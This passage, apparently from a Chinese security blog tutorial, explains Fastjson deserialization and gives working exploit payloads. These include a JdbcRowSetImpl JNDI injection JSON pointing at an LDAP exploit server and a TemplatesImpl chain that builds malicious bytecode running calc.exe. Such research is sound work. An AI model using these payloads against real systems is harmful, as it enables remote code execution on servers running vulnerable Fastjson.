style=\"width:562px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u5176\u4e2d<code>JSON.toJSONString(user)<\/code>\u7684\u529f\u80fd\u4e3a\u5c06\u7c7b\u8f6c\u6362\u4e3ajson\u5b57\u7b26\u4e32\uff0c\u5e76\u4e14\u5728<strong>\u8f6c\u6362\u7684\u540c\u65f6\u81ea\u52a8\u8c03\u7528\u4e86get\u65b9\u6cd5<\/strong>\uff0c\u53ef\u4ee5\u60f3\u89c1\uff0c\u5b83\u4f1a\u5728java\u53cd\u5e8f\u5217\u5316\u4e2d\u626e\u6f14\u7740\u6781\u5176\u91cd\u8981\u7684\u4f5c\u7528\u3002<\/p>\n\n\n\n<p>\u63a5\u7740\u4e09\u884c\u4e0d\u540c\u7684parse\u4ee3\u7801\uff0c\u5b83\u4eec\u8f93\u51fa\u7ed3\u679c\u4e00\u81f4\uff0c\u90fd\u5c06json\u5b57\u7b26\u4e32\u8f6c\u5316\u4e3a\u4e00\u4e2a\u7c7b\uff0c\u4e14\u662f<code>JSONObject<\/code>\u7c7b\uff0c\u5b9e\u9645\u4e0a\u4ed6\u4eec\u7684\u5b9e\u73b0\u6709\u6240\u4e0d\u540c\uff0c<code>parse<\/code>\u4f1a\u8f6c\u6362\u4e3a<code>@type<\/code>\u6307\u5b9a\u7684\u7c7b\uff0c<code>parseObject<\/code>\u4f1a\u9ed8\u8ba4\u6307\u5b9a<code>JSONObject<\/code>\u7c7b\uff0c\u800c\u5728<code>parseObject<\/code>\u53c2\u6570\u4e2d\u52a0\u4e00\u4e2a\u7c7b\u53c2\u6570\u5219\u4f1a\u8f6c\u6362\u4e3a\u5176\u6307\u5b9a\u7684\u7c7b\uff0c\u6bd4\u5982\u8fd9\u91cc\u6211\u4eec\u5c31\u6307\u5b9a\u4e3a\u4e86Object.class\uff0c\u8fd9\u91cc\u5c31\u81ea\u52a8\u8f6c\u5316\u4e3a\u4e86JSONObject\u3002<\/p>\n\n\n\n<p>\u63a5\u7740\u6211\u4eec\u518d\u5199\u4e00\u4e2a\u6d4b\u8bd5\u4ee3\u7801\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package com.fastjson;\n\nimport com.alibaba.fastjson.JSON;\nimport com.alibaba.fastjson.serializer.SerializerFeature;\n\npublic class FastjsonParseDemo2 {\n    public static void main(String&#91;] args) {\n        user user = new user(\"Fushuling\", 21, \"\u73a9\u539f\u795e\");\n\n        String s1 = JSON.toJSONString(user, SerializerFeature.WriteClassName);\n        System.out.println(s1);\n        System.out.println(\"-----------------------------------------------------\");\n        Object parse = JSON.parse(s1);\n        System.out.println(parse);\n        System.out.println(parse.getClass().getName());\n        System.out.println(\"-----------------------------------------------------\");\n        Object parse1 = JSON.parseObject(s1);\n        System.out.println(parse1);\n        System.out.println(parse1.getClass().getName());\n        System.out.println(\"-----------------------------------------------------\");\n        Object parse2 = JSON.parseObject(s1, Object.class);\n        System.out.println(parse2);\n        System.out.println(parse2.getClass().getName());\n    }\n}<\/code><\/pre>\n\n\n\n<p>\u5b9e\u9645\u4e0a\u6211\u4eec\u53ea\u662f\u5728\u8c03\u7528 <code>toJSONString<\/code> \u7684\u65f6\u5019\u591a\u52a0\u4e86\u4e00\u4e2a\u53c2\u6570 <code>SerializerFeature.WriteClassName<\/code>\uff0c\u4f46\u8fd9\u6b21\u7684\u6267\u884c\u7ed3\u679c\u8981\u4e30\u5bcc\u591a\u5f69\u7684\u591a\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250503-221908-3-3.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250503-221908-3-3.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:659px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u9996\u5148\u53ef\u4ee5\u770b\u5230\uff0c\u8f93\u51fa\u7ed3\u679c\u4e2d\u5e26\u6709\u4e00\u4e2a<code>@type<\/code>\u53c2\u6570\uff0c\u503c\u4e3a<code>user<\/code>\u7c7b\uff0c\u5f88\u663e\u7136\uff0c\u662f\u56e0\u4e3a\u6211\u4eec\u5728 <code>toJSONString<\/code> \u4e2d\u52a0\u4e86 <code>SerializerFeature.WriteClassName<\/code>\uff0c\u5b83\u7684\u4f5c\u7528\u662f<strong>\u5c06\u5bf9\u8c61\u7c7b\u578b\u4e00\u8d77\u5e8f\u5217\u5316\u5e76\u4e14\u4f1a\u5199\u5165\u5230<code>@type<\/code>\u5b57\u6bb5\u4e2d<\/strong>\u3002<\/p>\n\n\n\n<p>\u8c03\u7528 <code>JSON.parse(s1)<\/code> \u7684\u65f6\u5019\uff0c\u56e0\u4e3ajson\u5b57\u7b26\u4e32\u4e2d\u6709<code>@type<\/code>\uff0c\u56e0\u6b64\u4f1a\u81ea\u52a8\u6267\u884c\u6307\u5b9a\u7c7b\u7684set\u65b9\u6cd5\uff0c\u5e76\u4e14\u4f1a\u8f6c\u6362\u4e3a <code>@type<\/code> \u6307\u5b9a\u7c7b\u7684\u7c7b\u578b\uff0c\u4e5f\u5c31\u662f\u8fd9\u91cc\u7684user\u7c7b\u3002<\/p>\n\n\n\n<p>\u8c03\u7528 <code>JSON.parseObject(s1)<\/code>\u7684\u65f6\u5019\u4f1a\u81ea\u52a8\u6267\u884c <code>@type<\/code> \u6307\u5b9a\u7c7b\u7684get\u548cset\u65b9\u6cd5\uff0c\u5e76\u4e14\u8f6c\u6362\u4e3a <code>JSONObject<\/code> \u7c7b\uff0c\u6211\u4eec\u53bb\u4ee3\u7801\u91cc\u770b\u770b\u4e3a\u4ec0\u4e48\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250503-222449-3-4.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250503-222449-3-4.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:760px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u770b\u4e00\u773c\u5c31\u61c2\u4e86\uff0c\u8fd9\u91cc\u9996\u5148\u8c03\u7528\u4e86\u4e00\u6b21 <code>parse<\/code>\uff0c\u6240\u4ee5\u7387\u5148\u8c03\u7528\u4e86setName\uff0c\u63a5\u7740\u8fd9\u91cc\u8c03\u7528\u4e86\u4e00\u6b21 <code>toJSON<\/code> \u5e76\u4e14\u5f3a\u5236\u8f6c\u6362\u4e3a<code>JSONObject<\/code>\u7c7b\uff0c\u6240\u4ee5\u8c03\u7528\u4e86\u4e00\u6b21getName\u3002<\/p>\n\n\n\n<p>\u6700\u540e\u8c03\u7528 <code>JSON.parseObject(s1, Object.class)<\/code> \u7684\u65f6\u5019\u53ea\u8c03\u7528\u4e86setName\uff0c\u4f46\u662f\u6211\u4eec\u73b0\u5728\u7684\u7c7b\u5374\u53d8\u6210\u4e86@type\u91cc\u6307\u5b9a\u7684<code>com.fastjson.user<\/code>\uff0c<strong>\u4e0d\u518d\u662f<code>parseObject<\/code>\u53c2\u6570\u91cc\u6307\u5b9a\u7684JSONObject<\/strong>\uff0c\u56e0\u6b64\u6211\u4eec\u53ef\u4ee5\u5f97\u51fa\u7ed3\u8bba\uff0c@type\u91cc\u6307\u5b9a\u7684\u7c7b\u53ef\u4ee5\u8986\u76d6\u6389<code>parseObject<\/code>\u53c2\u6570\u91cc\u7684\u7c7b\uff0c\u5e76\u4e14\u8fd8\u4f1a\u81ea\u52a8\u8c03\u7528 getter\/setter\uff0c\u663e\u7136\uff0c\u53ea\u8981getter\/setter\u6709\u5371\u5bb3\uff0c\u6211\u4eec\u5c31\u80fd\u5b9e\u73b0\u4e00\u4e9b\u975e\u5e38\u5371\u9669\u7684\u64cd\u4f5c\u3002<\/p>\n\n\n\n<p>\u8fd9\u91cc\u6700\u540e\u505a\u4e00\u4e2a\u603b\u7ed3\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>parse(\"\")<\/code>&nbsp;\u4f1a\u8bc6\u522b\u5e76\u8c03\u7528\u76ee\u6807\u7c7b\u7684\u7279\u5b9a setter \u65b9\u6cd5\u53ca\u67d0\u4e9b<strong>\u7279\u5b9a\u6761\u4ef6<\/strong>\u7684 getter \u65b9\u6cd5<\/li>\n\n\n\n<li><code>parseObject(\"\")<\/code>&nbsp;\u4f1a\u8c03\u7528\u53cd\u5e8f\u5217\u5316\u76ee\u6807\u7c7b\u7684\u7279\u5b9a setter \u548c getter \u65b9\u6cd5<\/li>\n\n\n\n<li><code>parseObject(\"\",class)<\/code>&nbsp;\u4f1a\u8bc6\u522b\u5e76\u8c03\u7528\u76ee\u6807\u7c7b\u7684\u7279\u5b9a setter \u65b9\u6cd5\u53ca\u67d0\u4e9b<strong>\u7279\u5b9a\u6761\u4ef6<\/strong>\u7684 getter \u65b9\u6cd5<\/li>\n<\/ul>\n\n\n\n<p>\u5176\u4e2d getter \u81ea\u52a8\u8c03\u7528\u8fd8\u9700\u8981\u6ee1\u8db3\u4ee5\u4e0b\u6761\u4ef6\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u65b9\u6cd5\u540d\u957f\u5ea6\u5927\u4e8e4<\/li>\n\n\n\n<li>\u975e\u9759\u6001\u65b9\u6cd5<\/li>\n\n\n\n<li>\u4ee5get\u5f00\u5934\u4e14\u7b2c\u56db\u4e2a\u5b57\u6bcd\u4e3a\u5927\u5199<\/li>\n\n\n\n<li>\u65e0\u53c2\u6570\u4f20\u5165<\/li>\n\n\n\n<li>\u8fd4\u56de\u503c\u7c7b\u578b\u7ee7\u627f\u81ea <code>Collection Map AtomicBoolean AtomicInteger AtomicLong<\/code><\/li>\n<\/ul>\n\n\n\n<p>setter \u81ea\u52a8\u8c03\u7528\u9700\u8981\u6ee1\u8db3\u4ee5\u4e0b\u6761\u4ef6\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u65b9\u6cd5\u540d\u957f\u5ea6\u5927\u4e8e4<\/li>\n\n\n\n<li>\u975e\u9759\u6001\u65b9\u6cd5<\/li>\n\n\n\n<li>\u8fd4\u56de\u503c\u4e3avoid\u6216\u8005\u5f53\u524d\u7c7b<\/li>\n\n\n\n<li>\u4ee5set\u5f00\u5934\u4e14\u7b2c\u56db\u4e2a\u5b57\u6bcd\u4e3a\u5927\u5199<\/li>\n\n\n\n<li>\u53c2\u6570\u4e2a\u6570\u4e3a1\u4e2a<\/li>\n<\/ul>\n\n\n\n<p>\u9664\u6b64\u4e4b\u5916Fastjson\u8fd8\u6709\u4ee5\u4e0b\u529f\u80fd\u70b9\uff1a<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>\u5982\u679c\u76ee\u6807\u7c7b\u4e2d\u79c1\u6709\u53d8\u91cf\u6ca1\u6709setter\u65b9\u6cd5\uff0c\u4f46\u662f\u5728\u53cd\u5e8f\u5217\u5316\u65f6\u4ecd\u60f3\u7ed9\u8fd9\u4e2a\u53d8\u91cf\u8d4b\u503c\uff0c\u5219\u9700\u8981\u4f7f\u7528<code>Feature.SupportNonPublicField<\/code>\u53c2\u6570<\/li>\n\n\n\n<li>fastjson \u5728\u4e3a\u7c7b\u5c5e\u6027\u5bfb\u627egetter\/setter\u65b9\u6cd5\u65f6\uff0c\u8c03\u7528\u51fd\u6570<code>com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch()<\/code>\u65b9\u6cd5\uff0c\u4f1a\u5ffd\u7565<code>_ -<\/code>\u5b57\u7b26\u4e32<\/li>\n\n\n\n<li>fastjson \u5728\u53cd\u5e8f\u5217\u5316\u65f6\uff0c\u5982\u679cField\u7c7b\u578b\u4e3abyte[]\uff0c\u5c06\u4f1a\u8c03\u7528<code>com.alibaba.fastjson.parser.JSONScanner#bytesValue<\/code>\u8fdb\u884cbase64\u89e3\u7801\uff0c\u5728\u5e8f\u5217\u5316\u65f6\u4e5f\u4f1a\u8fdb\u884cbase64\u7f16\u7801<\/li>\n<\/ol>\n\n\n\n<p>Fastjson\u7684\u57fa\u7840\u8fc7\u5b8c\u4e86\uff0c\u73b0\u5728\u6765\u804a\u804a\u5b83\u7684\u5229\u7528\u65b9\u5f0f\uff0c\u4e3b\u8981\u662f\u4e24\u79cd\uff1aTemplatesImpl \u548c JNDI\u6ce8\u5165<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">JNDI\u6ce8\u5165<\/h2>\n\n\n\n<p>JNDI\u6ce8\u5165\u5728\u4e0a\u9762\u7684\u4e09\u79cd\u53cd\u5e8f\u5217\u5316\u4e2d\u5747\u53ef\u4f7f\u7528\uff0c\u4f46\u662f\u6709jdk\u8981\u6c42\uff1a8u161 &lt; jdk &lt; 8u191<\/p>\n\n\n\n<p>\u8fd9\u91cc\u4e3b\u8981\u7528\u5230\u7684\u662f<code> JdbcRowSetImpl#connet<\/code>\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250503-223833-3-5.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250503-223833-3-5.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:737px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u53ef\u4ee5\u53d1\u73b0\u8fd9\u4e2a\u65b9\u6cd5\u91cc\u8fdb\u884c\u4e86 <code>lookup<\/code>\uff0c\u4e14\u53c2\u6570\u6765\u81ea\u4e8e&nbsp;<code>dataSource<\/code>&nbsp;\uff0c\u8fd9\u5c31\u662f\u975e\u5e38\u6807\u51c6\u7684jndi sink\u70b9\u4e86\uff0c\u518d\u53bb\u627e\u4e00\u4e2a\u53ef\u4ee5\u89e6\u53d1 <code>connet<\/code> \u7684\u5730\u65b9\uff0c\u8fd9\u91cc\u6211\u4eec\u9009\u62e9 <code>JdbcRowSetImpl<\/code>#<code>setAutoCommit<\/code>\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250503-224324-3-6.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250503-224324-3-6.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:745px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u7531\u4e8e<code>setAutoCommit<\/code>\u662f <code>setXXX<\/code> \uff0c\u4e09\u79cdparse\u65b9\u5f0f\u91cc\u90fd\u4f1a\u81ea\u52a8\u8c03\u7528\uff0c\u90a3\u4e48\u6574\u4e2a\u5229\u7528\u94fe\u5176\u5b9e\u5c31\u5f88\u7b80\u5355\u4e86\uff0c\u6784\u9020\u4e00\u4e2a\u6076\u610fjson\u5e8f\u5217\u5316\u6570\u636e\u5373\u53ef\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>{\n    \"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \/\/\u8c03\u7528com.sun.rowset.JdbcRowSetImpl\u51fd\u6570\u4e2d\u7684\n    \"dataSourceName\":\"ldap:\/\/127.0.0.1:1389\/Exploit\", \/\/ setdataSourceName\u51fd\u6570 \u4f20\u5165\u53c2\u6570\"ldap:\/\/127.0.0.1:1389\/Exploit\"\n    \"autoCommit\":true \/\/ \u518d\u8c03\u7528setAutoCommit\u51fd\u6570\uff0c\u4f20\u5165true\n}<\/code><\/pre>\n\n\n\n<p>\u8fd9\u91cc\u6211\u672c\u5730\u7528\u7684\u662f\u4e4b\u524d\u6253<a href=\"https:\/\/fushuling.com\/index.php\/2023\/10\/06\/%e6%98%a5%e7%a7%8b%e4%ba%91%e5%a2%83%c2%b7certify\/\">Certify<\/a>\u7684\u65f6\u5019\u7528\u7684 <code>JNDIExploit-1.4-SNAPSHOT.jar<\/code>\uff0c\u4f46\u6211\u53d1\u73b0\u8fd9\u5f00\u53d1\u8005\u597d\u50cf\u5220\u5e93\u4e86\uff1f<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package com.fastjson;\n\nimport com.alibaba.fastjson.JSON;\n\npublic class jndi {\n    public static void main(String&#91;] args) {\n        String exp = \"{\\\"@type\\\":\\\"com.sun.rowset.JdbcRowSetImpl\\\", \\\"dataSourceName\\\":\\\"ldap:\/\/127.0.0.1:1389\/Basic\/Command\/calc.exe\\\",\\\"autoCommit\\\":true}\";\n        JSON.parse(exp);\n    }\n}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250503-230052-3-7.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250503-230052-3-7.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">TemplatesImpl<\/h2>\n\n\n\n<p>\u5229\u7528<code>TemplateImpl<\/code>\u8fdb\u884c\u5b57\u8282\u7801\u7684\u52a0\u8f7d\u7684\u6761\u4ef6\u6bd4\u8f83\u82db\u523b\uff1a<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>\u670d\u52a1\u7aef\u4f7f\u7528parseObject()\u65f6\uff0c\u5fc5\u987b\u4f7f\u7528\u5982\u4e0b\u683c\u5f0f\u624d\u80fd\u89e6\u53d1\u6f0f\u6d1e\uff1a&nbsp;<code>JSON.parseObject(input, Object.class, Feature.SupportNonPublicField);<\/code><\/li>\n\n\n\n<li>\u670d\u52a1\u7aef\u4f7f\u7528parse()\u65f6\uff0c\u9700\u8981<code>JSON.parse(text1,Feature.SupportNonPublicField);<\/code><\/li>\n<\/ol>\n\n\n\n<p>\u56e0\u4e3apayload\u9700\u8981\u8d4b\u503c\u7684\u4e00\u4e9b\u5c5e\u6027\u4e3aprivate\u5c5e\u6027\uff0c\u670d\u52a1\u7aef\u5fc5\u987b\u6dfb\u52a0\u7279\u6027\u624d\u56de\u53bb\u4ecejson\u4e2d\u6062\u590dprivate\u5c5e\u6027\u7684\u6570\u636e\uff0c\u6240\u4ee5\u5176\u5b9e\u5b9e\u7528\u4ef7\u503c\u5f88\u4f4e\u3002<\/p>\n\n\n\n<p>\u6211\u4eec\u4e4b\u524d\u5229\u7528 <code>TemplateImpl<\/code> \u7684\u65f6\u5019\uff0c\u4ed6\u5229\u7528\u94fe\u7684\u6700\u5916\u5c42\u662f\u4e00\u4e2a <code>getOutputProperties<\/code>\uff0c\u8fd9\u91cc\u6211\u4eec\u5176\u5b9e\u662f\u7528\u7684\u4e00\u4e2a\u539f\u7406\uff0c\u60f3\u529e\u6cd5\u8ba9\u4ed6\u81ea\u52a8\u8c03\u7528 <code>OutputProperties<\/code> \u7684 <code>getter<\/code>\uff0c\u8fd9\u91cc\u6211\u53d1\u73b0huamang\u54e5\u54e5\u4e5fcopy\u7684\u522b\u4eba\u7684\uff0c\u4e3b\u8981\u662f\u8fd9\u7bc7\u6587\u7ae0\uff1a<a href=\"https:\/\/tttang.com\/archive\/1579\/#toc_templatesimpl\">https:\/\/tttang.com\/archive\/1579\/#toc_templatesimpl<\/a>\uff0c\u6587\u4e2d\u4e5f\u6709\u4ee3\u7801\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package com.fastjson;\n\nimport com.alibaba.fastjson.JSON;\nimport com.alibaba.fastjson.parser.Feature;\nimport com.alibaba.fastjson.parser.ParserConfig;\nimport com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;\nimport javassist.ClassPool;\nimport javassist.CtClass;\nimport org.apache.commons.codec.binary.Base64;\n\n\npublic class testTemplateimpl {\n\n    \/\/\u6700\u7ec8\u6267\u884cpayload\u7684\u7c7b\u7684\u539f\u59cb\u6a21\u578b\n    \/\/ps.\u8981payload\u5728static\u6a21\u5757\u4e2d\u6267\u884c\u7684\u8bdd\uff0c\u539f\u59cb\u6a21\u578b\u9700\u8981\u7528static\u65b9\u5f0f\u3002\n    public static class lala {\n\n    }\n\n    \/\/\u8fd4\u56de\u4e00\u4e2a\u5728\u5b9e\u4f8b\u5316\u8fc7\u7a0b\u4e2d\u6267\u884c\u4efb\u610f\u4ee3\u7801\u7684\u6076\u610f\u7c7b\u7684byte\u7801\n    \/\/\u5982\u679c\u5bf9\u4e8e\u8fd9\u90e8\u5206\u751f\u6210\u539f\u7406\u4e0d\u6e05\u695a\uff0c\u53c2\u8003\u4ee5\u524d\u7684\u6587\u7ae0\n    public static byte&#91;] getevilbyte() throws Exception {\n        ClassPool pool = ClassPool.getDefault();\n        CtClass cc = pool.get(lala.class.getName());\n        \/\/\u8981\u6267\u884c\u7684\u6700\u7ec8\u547d\u4ee4\n        String cmd = \"java.lang.Runtime.getRuntime().exec(\\\"calc.exe\\\");\";\n        \/\/\u4e4b\u524d\u8bf4\u7684\u9759\u6001\u521d\u59cb\u5316\u5757\u548c\u6784\u9020\u65b9\u6cd5\u5747\u53ef\uff0c\u8fd9\u8fb9\u7528\u9759\u6001\u65b9\u6cd5\n        cc.makeClassInitializer().insertBefore(cmd);\n\n        \/\/\u8bbe\u7f6e\u4e0d\u91cd\u590d\u7684\u7c7b\u540d\n        String randomClassName = \"LaLa\" + System.nanoTime();\n        cc.setName(randomClassName);\n        \/\/\u8bbe\u7f6e\u6ee1\u8db3\u6761\u4ef6\u7684\u7236\u7c7b\n        cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));\n        \/\/\u83b7\u53d6\u5b57\u8282\u7801\n        byte&#91;] lalaByteCodes = cc.toBytecode();\n\n        return lalaByteCodes;\n    }\n\n    \/\/\u751f\u6210payload\uff0c\u89e6\u53d1payload\n    public static void poc() throws Exception {\n        \/\/\u751f\u6210\u653b\u51fbpayload\n        byte&#91;] evilCode = getevilbyte();\/\/\u751f\u6210\u6076\u610f\u7c7b\u7684\u5b57\u8282\u7801\n        String evilCode_base64 = Base64.encodeBase64String(evilCode);\/\/\u4f7f\u7528base64\u5c01\u88c5\n        final String NASTY_CLASS = \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\";\n        String text1 = \"{\" +\n                \"\\\"@type\\\":\\\"\" + NASTY_CLASS + \"\\\",\" +\n                \"\\\"_bytecodes\\\":&#91;\\\"\" + evilCode_base64 + \"\\\"],\" +\n                \"'_name':'a.b',\" +\n                \"'_tfactory':{ },\" +\n                \"'_outputProperties':{ }\" +\n                \"}\\n\";\n        \/\/\u6b64\u5904\u5220\u9664\u4e86\u4e00\u4e9b\u6211\u89c9\u5f97\u6ca1\u6709\u7528\u7684\u53c2\u6570\uff08\u7b2c\u4e8c\u4e2a_name\uff0c_version\uff0callowedProtocols\uff09\uff0c\u5e76\u6ca1\u6709\u53d1\u73b0\u6709\u4ec0\u4e48\u5f71\u54cd\n        System.out.println(text1);\n        \/\/\u670d\u52a1\u7aef\u89e6\u53d1payload\n        ParserConfig config = new ParserConfig();\n        Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);\n    }\n\n    \/\/main\u51fd\u6570\u8c03\u7528\u4ee5\u4e0bpoc\u800c\u5df2\n    public static void main(String args&#91;]) {\n        try {\n            poc();\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n    }\n}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250503-230832-3-8.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250503-230832-3-8.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u770b\u4e86\u4e0b\u6587\u7ae0\uff0c\u5176\u5b9e\u5b8c\u5168\u5c31\u662f <code>TemplatesImpl<\/code> \u94fe\uff0c\u4e3b\u8981\u5c31\u662f\u7528 <code>getter<\/code> \u89e6\u53d1\u4e86 <code>TemplatesImpl#getOutputProperties()<\/code>\uff0c\u5728\u672c\u6587\u91cc\u5df2\u7ecf\u51fa\u73b0\u8fc7\u5f88\u591a\u6b21\u4e86\uff0c\u90a3\u4e48\u6211\u4eec\u76f4\u63a5\u770b\u5230\u4e3a\u4ec0\u4e48 FastJson \u4f1a\u81ea\u52a8\u89e6\u53d1 <code>getOutputProperties<\/code>\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>public synchronized Properties getOutputProperties() {\n        try {\n            return newTransformer().getOutputProperties();\n        }\n        catch (TransformerConfigurationException e) {\n            return null;\n        }\n    }<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li>[\u2714] \u65b9\u6cd5\u540d\u957f\u5ea6\u5927\u4e8e\u7b49\u4e8e4<\/li>\n\n\n\n<li>[\u2714] 